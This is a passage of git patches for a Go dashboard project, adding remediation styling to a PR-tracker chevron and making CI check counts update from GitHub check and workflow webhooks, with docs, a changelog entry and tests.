ca.State != "waiting_owner" || ca.Caption != "Waiting for @erin Β· changes requested" || it.DisplayColumn != trackerNumberPRInProgress || it.Remediation != nil { + t.Fatalf("person-owned wait keeps its word with the red reason: state=%s caption=%q col=%d ev=%+v", ca.State, ca.Caption, it.DisplayColumn, it.Remediation) + } + // Observed code work already reads Remediating Β· agent; untouched. + it = remediationRedPR(now) + it.CodeActivity = &StageTrackerActivity{Head: it.Head, State: "fixing", Caption: "Remediating Β· scanner", Active: true, Source: "fix-dispatch+successful-edit+verified-git-worktree"} + it.DisplayColumn = trackerNumberPRInProgress + stageTrackerApplyRemediation(it, review.DispatchState{}, nil, "scanner", now) + if it.CodeActivity.State != "fixing" || it.CodeActivity.Caption != "Remediating Β· scanner" { + t.Fatalf("observed work keeps its word: %+v", it.CodeActivity) + } + // Not red, not in a fix stage: nothing changes. + it = remediationRedPR(now) + it.Stage = trackerNumberReviewPending + it.ReviewActivity = &StageTrackerActivity{Head: it.Head, State: "reviewing"} + stageTrackerApplyCodeActivity(it, review.DispatchState{}, nil, now) + before := it.CodeActivity + stageTrackerApplyRemediation(it, review.DispatchState{}, nil, "scanner", now) + if it.Remediation != nil || it.CodeActivity != before { + t.Fatalf("green PR untouched: %+v", it.CodeActivity) + } +} + +func TestStageTrackerRemediationJavaScript(t *testing.T) { + node, err := exec.LookPath("node") + if err != nil { + t.Skip("node unavailable") + } + if output, err := exec.Command(node, "--test", "stage_tracker_remediation_chevron.test.js").CombinedOutput(); err != nil { + t.Fatalf("remediation chevron JavaScript: %v\n%s", err, output) + } +} diff --git a/src/pkg/dashboard/static-src/css/tracker.css b/src/pkg/dashboard/static-src/css/tracker.css index 82b4e8f92c..b352c33a67 100644 --- a/src/pkg/dashboard/static-src/css/tracker.css +++ b/src/pkg/dashboard/static-src/css/tracker.css @@ -350,6 +350,12 @@ .ham-ico { width: 12px; height: 12px; flex: 0 0 auto; } .ham-actor-ico { margin-left: var(--sp-1); stroke-width: 2; } .ham-seg.done { background: var(--panel-strong); color: var(--text-faint); } + /* Evidence-based remediation on the PR in progress chevron: a red PR + nobody has picked up is bright and still; a pushed fix head is a + done-style step that keeps its word (stage_tracker_remediation.go). */ + .ham-seg.active.ham-remediation-unassigned { background: color-mix(in srgb, var(--amber) 70%, var(--red)); } + .ham-seg.done.ham-fix-pushed { color: var(--green); } + .ham-seg.done.ham-fix-pushed .ham-seg-t::before { content: 'βœ“'; margin-right: var(--sp-1); } .ham-seg.todo { background: transparent; color: var(--text-faint); box-shadow: inset 0 0 0 var(--line-width) var(--line-subtle); opacity: 0.5; } .ham-seg.blank { visibility: hidden; } .ham-sub { display: grid; grid-template-columns: minmax(0, 1fr); min-width: 0; gap: var(--sp-2); margin-top: var(--sp-3); position: relative; } diff --git a/src/pkg/dashboard/static-src/js/tracker-row-strip.js b/src/pkg/dashboard/static-src/js/tracker-row-strip.js index 2724213df8..c19c1ba60a 100644 --- a/src/pkg/dashboard/static-src/js/tracker-row-strip.js +++ b/src/pkg/dashboard/static-src/js/tracker-row-strip.js @@ -195,13 +195,22 @@ if (code && !codeWorking && Number(item.display_column) === 30) motion = STAGE_TRACKER_MOTION_STATIC; if (motion === STAGE_TRACKER_MOTION_ACTIVE && !worker) motion = STAGE_TRACKER_MOTION_STATIC; if (codeWorking && Number(item.display_column) === 30) motion = STAGE_TRACKER_MOTION_ACTIVE; + // Evidence-based remediation (stage_tracker_remediation.go): the PR in + // progress chevron pulses only while somebody is KNOWN to be on a red + // PR (kick / claim); "unassigned" is bright but still; a fix head + // pushed after the red signal is done-style with its word. + const codeOnHead = code && String(code.head || '') === String(item.head || ''); + const remediation = codeOnHead && ['unassigned', 'remediating', 'fix_pushed'].includes(code.state) ? code.state : ''; + if (remediation === 'remediating' && Number(item.display_column) === 30) motion = STAGE_TRACKER_MOTION_ACTIVE; + const evidence = item.remediation && item.remediation.kind ? 'evidence: ' + item.remediation.kind + (item.remediation.actor ? ' by ' + item.remediation.actor : '') + (item.remediation.since ? ' since ' + item.remediation.since : '') + (item.remediation.source ? ' (' + item.remediation.source + ')' : '') : ''; const motionAttr = motion === STAGE_TRACKER_MOTION_STATIC ? '' : ` data-motion="${motion}"`; return segs.map(sg => { if (sg.number === 50) return ['ci', 'review'].map(kind => stageTrackerActivityTrackHtml(item, kind, sg, sg.number < from || sg.number > to, nowMs)).join(''); if (sg.number < from || sg.number > to) return `<li class="ham-seg blank${sg.cap ? ' cap' : ''}" aria-hidden="true"></li>`; const sentinel = !!(sg.detour && sg.detour.sentinel); const sentinelSuffix = !!(sg.detour && sg.detour.sentinelSuffix); - const cls = ['ham-seg', sg.state, sg.cap ? 'cap' : '', sg.cap && sg.terminal ? 'merged' : '', sg.detour ? 'detoured' : '', sg.hold ? 'ham-open-hold' : '', sg.blocked ? 'ham-open-blocked' : '', sg.draft ? 'ham-open-draft' : '', sg.isNew ? 'ham-open-new' : '', sg.advisory ? 'ham-open-advisory' : '', sg.openSince && sg.openSince.stale ? 'ham-open-stale' : '', sentinel || sentinelSuffix ? 'ham-sentinel' : ''].filter(Boolean).join(' '); + const fixPushed = sg.number === 30 && sg.state === 'done' && remediation === 'fix_pushed'; + const cls = ['ham-seg', sg.state, sg.cap ? 'cap' : '', fixPushed ? 'ham-fix-pushed' : '', sg.state === 'active' && sg.number === 30 && remediation ? 'ham-remediation-' + remediation : '', sg.cap && sg.terminal ? 'merged' : '', sg.detour ? 'detoured' : '', sg.hold ? 'ham-open-hold' : '', sg.blocked ? 'ham-open-blocked' : '', sg.draft ? 'ham-open-draft' : '', sg.isNew ? 'ham-open-new' : '', sg.advisory ? 'ham-open-advisory' : '', sg.openSince && sg.openSince.stale ? 'ham-open-stale' : '', sentinel || sentinelSuffix ? 'ham-sentinel' : ''].filter(Boolean).join(' '); const active = sg.state === 'active'; let tip = ''; let gateCaption = ''; @@ -241,6 +250,8 @@ if (!sg.cap && typeof stageTrackerCueLead === 'function') tip = stageTrackerCueLead(item, worker, nowMs) + tip; if (sg.number === 30 && item.code_activity && Number(item.display_column) === 30) { tip = (codeWorking ? code.caption : sg.detour ? sg.detour.text : 'Code activity unknown') + ' Β· head ' + (item.head || 'unknown') + ' Β· ' + (code.source || 'unavailable') + ' Β· observed ' + (code.observed_at || 'unknown') + ' Β· since ' + (code.since || 'unknown'); + if (code.detail) tip += ' Β· ' + code.detail; + if (evidence) tip += ' Β· ' + evidence; if (code.blocker) tip += ' Β· ' + code.blocker; if (claimant) tip += ' Β· ' + stageTrackerClaimantLine(claimant, nowMs); } @@ -280,8 +291,12 @@ const content = `${gateCue}${workIco}<span class="ham-chevron-copy">${text}</span>${actorIco || holderIco}`; // A decision's dialog is its sole hover/focus detail surface. inner = decision ? `<span class="ham-chevron-info ham-chevron-decision">${content}</span>` : `<span class="ham-chevron-info config-info" tabindex="0" title="" aria-label="${esc(fullTip)}" aria-describedby="${esc(tipID)}">${content}<span id="${esc(tipID)}" class="config-tooltip ham-chevron-tip" role="tooltip">${esc(fullTip)}</span></span>`; + } else if (fixPushed) { + const pushedTip = [code.caption, code.detail, evidence, item.head ? 'head ' + item.head : '', code.since ? 'since ' + code.since : ''].filter(Boolean).join(' Β· '); + const tipID = 'ham-chevron-tip-' + [item.repo || '', item.kind || '', item.number || 0, sg.number].map(x => encodeURIComponent(String(x))).join('-'); + inner = `<span class="ham-chevron-info config-info" tabindex="0" title="" aria-label="${esc(pushedTip)}" aria-describedby="${esc(tipID)}">${stageTrackerIcon(sg.number, 'ham-ico')}<span class="ham-chevron-copy"><span class="ham-seg-t">${esc(code.caption)}</span></span><span id="${esc(tipID)}" class="config-tooltip ham-chevron-tip" role="tooltip">${esc(pushedTip)}</span></span>`; } else inner = stageTrackerIcon(sg.number, 'ham-ico'); - return `<li class="${cls}"${active ? `${sg.cap ? '' : motionAttr}${decision ? '' : ` title="${esc(tip)}"`} aria-current="step"` : ''}${sentinel ? ` aria-label="${esc(STAGE_TRACKER_SENTINEL_WORD + ' β€” ' + stageTrackerSentinelTip(item))}"` : (sentinelSuffix ? ` aria-label="${esc(sg.detour.text + ' β€” ' + stageTrackerSentinelTip(item))}"` : '')}>${inner}</li>`; + return `<li class="${cls}"${remediation && sg.number === 30 && (active || fixPushed) ? ` data-remediation="${esc(remediation)}"` : ''}${active ? `${sg.cap ? '' : motionAttr}${decision ? '' : ` title="${esc(tip)}"`} aria-current="step"` : ''}${sentinel ? ` aria-label="${esc(STAGE_TRACKER_SENTINEL_WORD + ' β€” ' + stageTrackerSentinelTip(item))}"` : (sentinelSuffix ? ` aria-label="${esc(sg.detour.text + ' β€” ' + stageTrackerSentinelTip(item))}"` : '')}>${inner}</li>`; }).join(''); } diff --git a/src/pkg/dashboard/static/index.html b/src/pkg/dashboard/static/index.html index eb212665ca..8742902402 100644 --- a/src/pkg/dashboard/static/index.html +++ b/src/pkg/dashboard/static/index.html @@ -1687,6 +1687,12 @@ .ham-ico { width: 12px; height: 12px; flex: 0 0 auto; } .ham-actor-ico { margin-left: var(--sp-1); stroke-width: 2; } .ham-seg.done { background: var(--panel-strong); color: var(--text-faint); } + /* Evidence-based remediation on the PR in progress chevron: a red PR + nobody has picked up is bright and still; a pushed fix head is a + done-style step that keeps its word (stage_tracker_remediation.go). */ + .ham-seg.active.ham-remediation-unassigned { background: color-mix(in srgb, var(--amber) 70%, var(--red)); } + .ham-seg.done.ham-fix-pushed { color: var(--green); } + .ham-seg.done.ham-fix-pushed .ham-seg-t::before { content: 'βœ“'; margin-right: var(--sp-1); } .ham-seg.todo { background: transparent; color: var(--text-faint); box-shadow: inset 0 0 0 var(--line-width) var(--line-subtle); opacity: 0.5; } .ham-seg.blank { visibility: hidden; } .ham-sub { display: grid; grid-template-columns: minmax(0, 1fr); min-width: 0; gap: var(--sp-2); margin-top: var(--sp-3); position: relative; } @@ -17978,13 +17984,22 @@ <h3 class="faq-group-title">Where to get help</h3> if (code && !codeWorking && Number(item.display_column) === 30) motion = STAGE_TRACKER_MOTION_STATIC; if (motion === STAGE_TRACKER_MOTION_ACTIVE && !worker) motion = STAGE_TRACKER_MOTION_STATIC; if (codeWorking && Number(item.display_column) === 30) motion = STAGE_TRACKER_MOTION_ACTIVE; + // Evidence-based remediation (stage_tracker_remediation.go): the PR in + // progress chevron pulses only while somebody is KNOWN to be on a red + // PR (kick / claim); "unassigned" is bright but still; a fix head + // pushed after the red signal is done-style with its word. + const codeOnHead = code && String(code.head || '') === String(item.head || ''); + const remediation = codeOnHead && ['unassigned', 'remediating', 'fix_pushed'].includes(code.state) ? code.state : ''; + if (remediation === 'remediating' && Number(item.display_column) === 30) motion = STAGE_TRACKER_MOTION_ACTIVE; + const evidence = item.remediation && item.remediation.kind ? 'evidence: ' + item.remediation.kind + (item.remediation.actor ? ' by ' + item.remediation.actor : '') + (item.remediation.since ? ' since ' + item.remediation.since : '') + (item.remediation.source ? ' (' + item.remediation.source + ')' : '') : ''; const motionAttr = motion === STAGE_TRACKER_MOTION_STATIC ? '' : ` data-motion="${motion}"`; return segs.map(sg => { if (sg.number === 50) return ['ci', 'review'].map(kind => stageTrackerActivityTrackHtml(item, kind, sg, sg.number < from || sg.number > to, nowMs)).join(''); if (sg.number < from || sg.number > to) return `<li class="ham-seg blank${sg.cap ? ' cap' : ''}" aria-hidden="true"></li>`; const sentinel = !!(sg.detour && sg.detour.sentinel); const sentinelSuffix = !!(sg.detour && sg.detour.sentinelSuffix); - const cls = ['ham-seg', sg.state, sg.cap ? 'cap' : '', sg.cap && sg.terminal ? 'merged' : '', sg.detour ? 'detoured' : '', sg.hold ? 'ham-open-hold' : '', sg.blocked ? 'ham-open-blocked' : '', sg.draft ? 'ham-open-draft' : '', sg.isNew ? 'ham-open-new' : '', sg.advisory ? 'ham-open-advisory' : '', sg.openSince && sg.openSince.stale ? 'ham-open-stale' : '', sentinel || sentinelSuffix ? 'ham-sentinel' : ''].filter(Boolean).join(' '); + const fixPushed = sg.number === 30 && sg.state === 'done' && remediation === 'fix_pushed'; + const cls = ['ham-seg', sg.state, sg.cap ? 'cap' : '', fixPushed ? 'ham-fix-pushed' : '', sg.state === 'active' && sg.number === 30 && remediation ? 'ham-remediation-' + remediation : '', sg.cap && sg.terminal ? 'merged' : '', sg.detour ? 'detoured' : '', sg.hold ? 'ham-open-hold' : '', sg.blocked ? 'ham-open-blocked' : '', sg.draft ? 'ham-open-draft' : '', sg.isNew ? 'ham-open-new' : '', sg.advisory ? 'ham-open-advisory' : '', sg.openSince && sg.openSince.stale ? 'ham-open-stale' : '', sentinel || sentinelSuffix ? 'ham-sentinel' : ''].filter(Boolean).join(' '); const active = sg.state === 'active'; let tip = ''; let gateCaption = ''; @@ -18024,6 +18039,8 @@ <h3 class="faq-group-title">Where to get help</h3> if (!sg.cap && typeof stageTrackerCueLead === 'function') tip = stageTrackerCueLead(item, worker, nowMs) + tip; if (sg.number === 30 && item.code_activity && Number(item.display_column) === 30) { tip = (codeWorking ? code.caption : sg.detour ? sg.detour.text : 'Code activity unknown') + ' Β· head ' + (item.head || 'unknown') + ' Β· ' + (code.source || 'unavailable') + ' Β· observed ' + (code.observed_at || 'unknown') + ' Β· since ' + (code.since || 'unknown'); + if (code.detail) tip += ' Β· ' + code.detail; + if (evidence) tip += ' Β· ' + evidence; if (code.blocker) tip += ' Β· ' + code.blocker; if (claimant) tip += ' Β· ' + stageTrackerClaimantLine(claimant, nowMs); } @@ -18063,8 +18080,12 @@ <h3 class="faq-group-title">Where to get help</h3> const content = `${gateCue}${workIco}<span class="ham-chevron-copy">${text}</span>${actorIco || holderIco}`; // A decision's dialog is its sole hover/focus detail surface. inner = decision ? `<span class="ham-chevron-info ham-chevron-decision">${content}</span>` : `<span class="ham-chevron-info config-info" tabindex="0" title="" aria-label="${esc(fullTip)}" aria-describedby="${esc(tipID)}">${content}<span id="${esc(tipID)}" class="config-tooltip ham-chevron-tip" role="tooltip">${esc(fullTip)}</span></span>`; + } else if (fixPushed) { + const pushedTip = [code.caption, code.detail, evidence, item.head ? 'head ' + item.head : '', code.since ? 'since ' + code.since : ''].filter(Boolean).join(' Β· '); + const tipID = 'ham-chevron-tip-' + [item.repo || '', item.kind || '', item.number || 0, sg.number].map(x => encodeURIComponent(String(x))).join('-'); + inner = `<span class="ham-chevron-info config-info" tabindex="0" title="" aria-label="${esc(pushedTip)}" aria-describedby="${esc(tipID)}">${stageTrackerIcon(sg.number, 'ham-ico')}<span class="ham-chevron-copy"><span class="ham-seg-t">${esc(code.caption)}</span></span><span id="${esc(tipID)}" class="config-tooltip ham-chevron-tip" role="tooltip">${esc(pushedTip)}</span></span>`; } else inner = stageTrackerIcon(sg.number, 'ham-ico'); - return `<li class="${cls}"${active ? `${sg.cap ? '' : motionAttr}${decision ? '' : ` title="${esc(tip)}"`} aria-current="step"` : ''}${sentinel ? ` aria-label="${esc(STAGE_TRACKER_SENTINEL_WORD + ' β€” ' + stageTrackerSentinelTip(item))}"` : (sentinelSuffix ? ` aria-label="${esc(sg.detour.text + ' β€” ' + stageTrackerSentinelTip(item))}"` : '')}>${inner}</li>`; + return `<li class="${cls}"${remediation && sg.number === 30 && (active || fixPushed) ? ` data-remediation="${esc(remediation)}"` : ''}${active ? `${sg.cap ? '' : motionAttr}${decision ? '' : ` title="${esc(tip)}"`} aria-current="step"` : ''}${sentinel ? ` aria-label="${esc(STAGE_TRACKER_SENTINEL_WORD + ' β€” ' + stageTrackerSentinelTip(item))}"` : (sentinelSuffix ? ` aria-label="${esc(sg.detour.text + ' β€” ' + stageTrackerSentinelTip(item))}"` : '')}>${inner}</li>`; }).join(''); } From 718d7191d864df11d35ee1c8b79fc82f2d66b204 Mon Sep 17 00:00:00 2001 From: Andy Anderson <andy@clubanderson.com> Date: Tue, 3 Nov 2026 22:28:02 -0500 Subject: [PATCH 37/87] =?UTF-8?q?=F0=9F=90=9B=20fix:=20drive=20Activity=20?= =?UTF-8?q?Monitor=20CI=20counts=20from=20check=20webhooks=20(#16528)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * πŸ› fix: drive Activity Monitor CI counts from check webhooks check_run / workflow_job / status deliveries are applied straight into a per-(repo, head) check set the tracker's CI chevron counts from; a single coalesced check-run listing runs only when the head has no listing yet. Payload-served check deliveries no longer queue a PR re-read. Sidelined PRs carry HeadSHA so their rows count too. /api/status.webhooks reports last_ci_event_at, ci_events_1h, ci_events_applied_1h, ci_refetches_1h. The hub relays workflow_run and workflow_job. Fixes #16521 Signed-off-by: Andrew Anderson <andy@clubanderson.com> * πŸ› fix: drop unused test timer field, refresh scale-envelope citation Signed-off-by: Andrew Anderson <andy@clubanderson.com> --------- Signed-off-by: Andrew Anderson <andy@clubanderson.com> --- changelog.d/fixed-webhook-ci-counts.md | 1 + src/cmd/hive/main.go | 4 + .../operator-reference/runtime-and-quota.md | 29 +- src/docs/scale-envelope.md | 2 +- src/pkg/dashboard/api_github_webhook.go | 3 + src/pkg/dashboard/stage_tracker_build.go | 6 +- .../stage_tracker_status_collection_test.go | 3 + .../stage_tracker_webhook_ci_test.go | 145 ++++ src/pkg/dashboard/webhook_tracker_refresh.go | 21 + src/pkg/github/ci_failure_signal_test.go | 9 +- src/pkg/github/client.go | 14 + src/pkg/github/protection_facts.go | 32 + src/pkg/github/webhook_cache.go | 110 ++- src/pkg/github/webhook_ci_evidence.go | 732 ++++++++++++++++++ src/pkg/github/webhook_ci_evidence_test.go | 298 +++++++ src/pkg/hub/webhook.go | 2 +- 16 files changed, 1382 insertions(+), 29 deletions(-) create mode 100644 changelog.d/fixed-webhook-ci-counts.md create mode 100644 src/pkg/dashboard/stage_tracker_webhook_ci_test.go create mode 100644 src/pkg/github/webhook_ci_evidence.go create mode 100644 src/pkg/github/webhook_ci_evidence_test.go diff --git a/changelog.d/fixed-webhook-ci-counts.md b/changelog.d/fixed-webhook-ci-counts.md new file mode 100644 index 0000000000..5070ebf3dc --- /dev/null +++ b/changelog.d/fixed-webhook-ci-counts.md @@ -0,0 +1 @@ +- Activity Monitor CI chevron counts (`CI 7/11`) are now driven by `check_run`/`workflow_job`/`status` webhook deliveries applied straight into a per-head check set β€” no PR re-read per check fan-out β€” with one coalesced check-run listing only when the head has none yet, so rows no longer sit at `CI ?/?` after a push or for sidelined PRs until the next eval cycle; `/api/status.webhooks` gains `last_ci_event_at`, `ci_events_1h`, `ci_events_applied_1h`, `ci_refetches_1h` and the hub relays `workflow_run`/`workflow_job` (hivecommons/hive#16521) diff --git a/src/cmd/hive/main.go b/src/cmd/hive/main.go index 16ecd5157a..7d5be57141 100644 --- a/src/cmd/hive/main.go +++ b/src/cmd/hive/main.go @@ -3440,6 +3440,10 @@ func (b *boot) bootDashboardAPIWith(deps bootDashboardAPIDeps) { // re-reads the issue into the cached snapshot and the Activity Monitor // the way an inbound label webhook does (hivecommons/hive#14952). github.SetItemRefreshHook(b.dashSrv.RefreshSelfEditedItem) + // A check/status delivery applied to a head's check set, or the + // coalesced re-read it scheduled, re-derives the Activity Monitor row + // at once (hivecommons/hive#16521). + github.SetCIEvidenceHook(b.dashSrv.RefreshCIEvidence) wireSpektacularRunner(b.cfg, b.dashSrv, b.logger) // #8380: chain GitHub comments/labels behind the relay yank on takeover. ghClientFn := func() *github.Client { return b.ghClient } diff --git a/src/docs/operator-reference/runtime-and-quota.md b/src/docs/operator-reference/runtime-and-quota.md index 687a6f0753..b2f0a62153 100644 --- a/src/docs/operator-reference/runtime-and-quota.md +++ b/src/docs/operator-reference/runtime-and-quota.md @@ -148,7 +148,9 @@ manage are ignored. webhook with the same secret works too). Subscribe the App to these events: `pull_request`, `pull_request_review`, `pull_request_review_comment`, `issue_comment`, `issues`, `check_suite`, `check_run`, `status`, `push`, - and, with `governor.work_source.type: github_projects`, `projects_v2_item` + optionally `workflow_job` (Actions: read; lets the CI counts on the + activity monitor move from the job payload for Apps that do not surface + check runs), and, with `governor.work_source.type: github_projects`, `projects_v2_item` (organization-scoped; see [Work sources](../work-sources.md#type-github_projects--github-projects-projects-v2)). 3. **Hub relay.** The hub verifies the HMAC and relays the body byte-for-byte, with the original signature and `X-GitHub-Delivery`, to the spoke whose @@ -171,8 +173,8 @@ v5 and v6 spokes) tracking one repo all stay on webhook mode. #### What a delivery does - `pull_request`, `pull_request_review`, `pull_request_review_comment`, - `check_suite`, `check_run`, `status`, `issue_comment` (on PRs only) and - `push` invalidate the cached PR detail and the GraphQL batch + `check_suite`, `check_run`, `workflow_job`, `status`, `issue_comment` (on + PRs only) and `push` invalidate the cached PR detail and the GraphQL batch check-run/review entries for the affected PR and mark it dirty. Check and status events are matched by PR number and head SHA (fork PRs arrive without a PR list); `push` invalidates every open PR whose base or head @@ -288,8 +290,7 @@ v5 and v6 spokes) tracking one repo all stay on webhook mode. `issues` β€” any action) also drops the `/api/stage-tracker` cache at once and queues a **targeted re-read of just that item**: one `GET` of the PR or issue, debounced by `dashboard.stage_tracker.webhook_refresh_debounce_ms` - (default `2000`) and coalesced per item, so a check fan-out of twenty - `check_run` deliveries costs one request. The re-read patches that row of + (default `2000`) and coalesced per item. The re-read patches that row of the status snapshot in place β€” labels, title, draft flag, last activity; a closed or merged item leaves β€” then drops the tracker cache again and sends the `stage-tracker` SSE nudge. The same re-read is handed to the @@ -318,6 +319,24 @@ v5 and v6 spokes) tracking one repo all stay on webhook mode. also lists each repo's items closed since its last look every `dashboard.stage_tracker.closed_sweep_interval_s` (default `300`; one list call per repo; negative disables) and evicts any still shown. +- **CI counts on the activity monitor move from the check payload.** A + `check_run`, `workflow_job` or `status` delivery is applied directly into + the per-head check set the tracker's CI chevron counts (`CI 7/11`): the + named check is upserted by run id (or check name and producing App), a + newer run replaces an older one, and the row is pushed over the + `stage-tracker` SSE nudge without any GitHub request β€” a fan-out of + twenty `check_run` deliveries costs zero requests. The payload-only + `check_run`/`status` delivery no longer queues the PR re-read above. + When no check-run listing exists yet for that head (first delivery after + a push, or a sidelined PR the eval cycle never enriched) one coalesced + listing of the head's check runs is scheduled instead (debounced by the + same `webhook_refresh_debounce_ms`), so the required-check set and the + `pass/total` denominator are right from the first row. The polling + path's `EnrichCIStatus` still refreshes every actionable PR each cycle + and is the backstop for spokes without webhooks. + `/api/status.webhooks.last_ci_event_at`, `ci_events_1h`, + `ci_events_applied_1h` and `ci_refetches_1h` show whether check + deliveries actually arrive and how many were served from the payload. #### Polling cadence vs webhook patch vs reconcile diff --git a/src/docs/scale-envelope.md b/src/docs/scale-envelope.md index 8beda804f2..7c240be68b 100644 --- a/src/docs/scale-envelope.md +++ b/src/docs/scale-envelope.md @@ -34,7 +34,7 @@ ones to: 2. **Truncation must preserve the prioritization signal, not cut an arbitrary slice.** This holds today and is easy to assume backwards: - Issues are sorted by actionable rank tier, then **oldest first** within each tier before any cap is applied - (`RankActionableIssues`, `src/pkg/github/client.go:5110-5120`, descending `AgeMinutes` within each tier). + (`RankActionableIssues`, `src/pkg/github/client.go:5122-5134`, descending `AgeMinutes` within each tier). - PRs are sorted by **review class then oldest-first within class** (`SortPullRequestsForReview`, `src/pkg/github/review_priority.go:334`; fixes β†’ refactors/docs β†’ tests). diff --git a/src/pkg/dashboard/api_github_webhook.go b/src/pkg/dashboard/api_github_webhook.go index f6ab79c8b1..b8ad183a36 100644 --- a/src/pkg/dashboard/api_github_webhook.go +++ b/src/pkg/dashboard/api_github_webhook.go @@ -136,6 +136,9 @@ func (s *Server) handleGitHubWebhook(w http.ResponseWriter, r *http.Request) { if reactions := s.reactToCIFailure(res); len(reactions) > 0 { resp["ci_failure"] = reactions } + if res.CIEvidence != nil { + resp["ci_evidence"] = res.CIEvidence + } if n, ok := sentinelPREventTarget(event, body); ok && s.deps.SentinelPREvent != nil { s.deps.SentinelPREvent(res.ConfiguredRepo, n) resp["sentinel"] = n diff --git a/src/pkg/dashboard/stage_tracker_build.go b/src/pkg/dashboard/stage_tracker_build.go index 20f560ae33..015c48fad7 100644 --- a/src/pkg/dashboard/stage_tracker_build.go +++ b/src/pkg/dashboard/stage_tracker_build.go @@ -456,6 +456,10 @@ func (s *Server) buildStageTracker(status *StatusPayload, store *stagelabels.Sto stageTrackerApplyFixerStatus(&it, review.FixDispatchStatusFor(dispatchState, qualifyRepo(repoName), pr.Number, pr.HeadSHA), workers) activityPR := pr activityPR.Repo = qualifyRepo(repoName) + // Checks delivered by webhook since the last listing, laid over it; + // a head the cycle never listed counts from the deliveries alone + // (hivecommons/hive#16521). + activityPR.CIActivity = github.HeadCIActivity(activityPR.Repo, pr.HeadSHA, pr.CIActivity) it.CIActivity = stageTrackerCIActivity(activityPR, now) var bundle *evidence.Bundle if evidenceVerifier != nil && pr.HeadSHA != "" { @@ -501,7 +505,7 @@ func (s *Server) buildStageTracker(status *StatusPayload, store *stagelabels.Sto default: w := it.WorkPR addPR(repoName, github.PullRequest{Repo: w.Repo, Number: w.Number, Title: w.Title, Author: w.Author, Labels: w.Labels, Draft: w.Draft, - AppAuthored: w.AppAuthored, HiveAttributed: w.HiveAttributed, CreatedAt: w.CreatedAt, UpdatedAt: w.UpdatedAt, URL: w.URL, BaseRef: w.BaseRef, LinkedIssues: w.LinkedIssues, ReferencedIssues: w.ReferencedIssues}, nil, w.Bucket, w.Reason) + AppAuthored: w.AppAuthored, HiveAttributed: w.HiveAttributed, CreatedAt: w.CreatedAt, UpdatedAt: w.UpdatedAt, URL: w.URL, BaseRef: w.BaseRef, HeadSHA: w.HeadSHA, LinkedIssues: w.LinkedIssues, ReferencedIssues: w.ReferencedIssues}, nil, w.Bucket, w.Reason) } } } diff --git a/src/pkg/dashboard/stage_tracker_status_collection_test.go b/src/pkg/dashboard/stage_tracker_status_collection_test.go index fa8d775336..1c8daa6229 100644 --- a/src/pkg/dashboard/stage_tracker_status_collection_test.go +++ b/src/pkg/dashboard/stage_tracker_status_collection_test.go @@ -18,6 +18,9 @@ import ( func TestStageTrackerRESTCheckPaginationMustCompleteBeforeProjection(t *testing.T) { for _, mode := range []string{"complete", "partial", "malformed"} { t.Run(mode, func(t *testing.T) { + // Each mode observes the same head; the shared per-head CI + // evidence store must not carry one mode's listing into the next. + t.Cleanup(github.ResetCIEvidenceForTest(nil)) reads := 0 srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch { diff --git a/src/pkg/dashboard/stage_tracker_webhook_ci_test.go b/src/pkg/dashboard/stage_tracker_webhook_ci_test.go new file mode 100644 index 0000000000..e7f8e6a5b4 --- /dev/null +++ b/src/pkg/dashboard/stage_tracker_webhook_ci_test.go @@ -0,0 +1,145 @@ +package dashboard + +import ( + "bytes" + "encoding/json" + "net/http" + "net/http/httptest" + "testing" + "time" + + "github.com/hivecommons/hive/pkg/github" +) + +// TestStageTrackerCICountsFromWebhookEvidence: check deliveries applied to +// the per-head evidence store drive the CI chevron counts for a PR whose +// status snapshot carries no (or stale) CIActivity β€” including sidelined +// PRs the eval cycle never enriches (hivecommons/hive#16521). +func TestStageTrackerCICountsFromWebhookEvidence(t *testing.T) { + now := time.Date(2026, 10, 17, 9, 0, 0, 0, time.UTC) + t.Cleanup(github.ResetCIEvidenceForTest(func() time.Time { return now })) + s, store := stageTrackerFixture(t, now) + + appID := int64(15368) + done := now.Add(-time.Minute) + checks := []github.PRActivityCheck{ + {Name: "build", State: "completed", Conclusion: "success", NodeID: "CR_build", AppID: &appID, Since: &done}, + {Name: "test", State: "in_progress", NodeID: "CR_test", AppID: &appID, Since: &done}, + } + if n := github.RecordCIEvidenceForTest("acme/console", "sha-103", checks); n != 2 { + t.Fatalf("recorded %d checks, want 2", n) + } + if n := github.RecordCIEvidenceForTest("acme/console", "sha-106", checks[:1]); n != 1 { + t.Fatalf("recorded %d checks, want 1", n) + } + + s.statusMu.Lock() + repo := &s.status.Repos[0] + for i, raw := range repo.OpenPrs { + pr, ok := raw.(FrontendPR) + if !ok || pr.Number != 103 { + continue + } + pr.HeadSHA = "sha-103" + // Evidence from a previous head must not win over the new head. + stale := now.Add(-time.Hour) + pr.CIActivity = &github.PRCIActivity{Head: "old-103", Source: "github-check-runs", ObservedAt: &stale, + Checks: []github.PRActivityCheck{{Name: "build", State: "completed", Conclusion: "failure"}}} + repo.OpenPrs[i] = pr + } + repo.NonActionablePrs = []any{ + github.RepoWorkPR{Repo: "acme/console", Number: 106, Title: "WIP draft", Author: "zoe", Draft: true, Bucket: "draft", Reason: "Draft", HeadSHA: "sha-106", CreatedAt: now.Add(-24 * time.Hour)}, + } + s.statusMu.Unlock() + + resp := s.buildStageTracker(s.status, store, now) + pr103 := trackerItem(t, resp, "pr", 103) + if pr103.CIActivity == nil || pr103.CIActivity.Head != "sha-103" || pr103.CIActivity.ChecksTotal != 2 || pr103.CIActivity.ChecksPassed != 1 || pr103.CIActivity.ChecksFailed != 0 { + t.Fatalf("pr103 CI = %+v, want 1/2 on sha-103 from webhook evidence", pr103.CIActivity) + } + pr106 := trackerItem(t, resp, "pr", 106) + if pr106.CIActivity == nil || pr106.CIActivity.ChecksTotal != 1 || pr106.CIActivity.ChecksPassed != 1 { + t.Fatalf("sidelined pr106 CI = %+v, want 1/1 from webhook evidence", pr106.CIActivity) + } +} + +// TestGitHubWebhookCheckRunAppliesCIEvidenceWithoutGitHubCall: a +// `check_run` delivery that names its PR updates the CI evidence from the +// payload alone β€” no PR re-read is queued, the GitHub test server would +// fail the test on any call β€” and /api/status.webhooks reports CI event +// health. +func TestGitHubWebhookCheckRunAppliesCIEvidenceWithoutGitHubCall(t *testing.T) { + const secret = "s3cr3t" + t.Setenv(githubWebhookSecretEnvVar, secret) + now := time.Date(2026, 10, 17, 9, 0, 0, 0, time.UTC) + t.Cleanup(github.ResetWebhookTrackerForTestWithClock(func() time.Time { return now })) + 